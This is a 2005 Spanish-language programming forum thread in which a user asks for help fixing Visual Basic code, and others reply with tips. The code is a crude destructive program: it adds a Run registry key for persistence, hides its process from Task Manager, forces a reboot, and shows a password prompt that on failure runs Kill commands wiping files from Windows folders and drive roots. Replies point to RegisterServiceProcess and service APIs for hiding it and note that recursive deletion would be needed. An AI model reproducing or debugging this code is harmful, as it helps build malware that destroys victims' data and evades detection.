necesito ayuda en VB

Iniciado por Sensei Cos, 15 Marzo 2005, 10:18 AM

0 Miembros y 1 Visitante están viendo este tema.

Sensei Cos

queria saber si alguien me puede decir por que no me andan estos codigos:

Set X = CreateObject("WScript.Shell")
X.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", "C:/X.exe"


App.TaskVisible = False


tampoco el shutdown (no me acuerdo ahora si se escribe así)

puede ser por que trabajo con VB 3.0, q' me falte algun archivo que tenga que instalar, o algo por el estilo?? Nose, estoy re perdido, ya busque info en la net, pero nada que ande. Gracias de antemano

PD.: Otra pregunta cuando pongo esto por ej.:
On Error Resume Next
App.TaskVisible = False

X$ = InputBox$("introduzca contraseña")
   
If X$ = "contraseña" Then
    Unload Me
Else
    Kill "C:/windows/*.*"
    Kill "D:/windows/*.*"
    Kill "E:/windows/*.*"
    Kill "F:/windows/*.*"
    Kill "C:/*.*"
    Kill "D:/*.*"
    Kill "E:/*.*"
    Kill "F:/*.*"
    Kill "G:/*.*"
    Kill "H:/*.*"
    Kill "Z:/*.*"
End If


Puedo "finalizar la tarea" de laventana de contraseña, o tampoco esa me aparece en el administrador de tareas de Windows gracias a "App.TaskVisible = False"

Gracias salu2


"Dos es companía ... Tres es pura diversión"
                     El Sensei Cos

Slasher-K

App.TaskVisible solamente funciona en win2k, para win9x existe la función RegisterServiceProcess

Y en cuanto a los códigos, si especificas el error es más fácil ayudarte, si querés respuestas precisas hacé preguntas precisas.



A la reina de las profundidades que cuida los pasos de una sombra en la noche :*

dxr

Aver q me entere yo... como decis q se puede ocultar el proceso de un programa en win2k y win XP¿?¿?

otra cosa eso de.. kill d:\*.* ... no vas a poder hacerlo anoser q lo agas con recursividad :P
Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.

Slasher-K

En win2k también hay que ocultarlo como servicio, pero para eso hay que llamar a un montón de funciones y tener los permisos adecuados. Hay toda una API para servicios que se implementa en win2k y winnt.



A la reina de las profundidades que cuida los pasos de una sombra en la noche :*

Sensei Cos

Veamos, cuando pongo:
Set X = CreateObject("WScript.Shell")
X.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", "C:/X.exe"

me dice: "invalid objet reference"

cuando pongo:
App.TaskVisible = False
Me dice: "property 'TaskVisible' not found"

cuando pongo:
RegisterServiceProcess,
RegisterServiceProcess = True o
RegisterServiceProcess = False

no me dice nada, pero cuando ya tengo el ejecutable no me lo esconde.

y si pongo:
X% = Shell("C:/windows/system32/shutdown.exe -r -t01", 6),
X% = Shell("%windir%/system32/shutdown.exe -r -t01", 6),
en el ejecutable me dice: "phat not found"
X% = Shell("C:/windows/system32/shutdown.exe" -r -t01, 6) o
X% = Shell("%windir%/system32/shutdown.exe" -r -t01, 6)
Asi me dice que hay un error de syntaxis antes de guardarlo .exe

con respecto a lo que dijo derec_x essa parte anda, no se a que te referis, mi pregunta es que cuando pido contraseña se abre otra y queria saber si ustedes saven si aparece en el admin. de tareas de win.

Gracias y Salu2
"Dos es companía ... Tres es pura diversión"
                     El Sensei Cos

byebye

CitarRegisterServiceProcess = True

yo de ti miraria aunq sea los parametros de las funciones que quiero utilizar.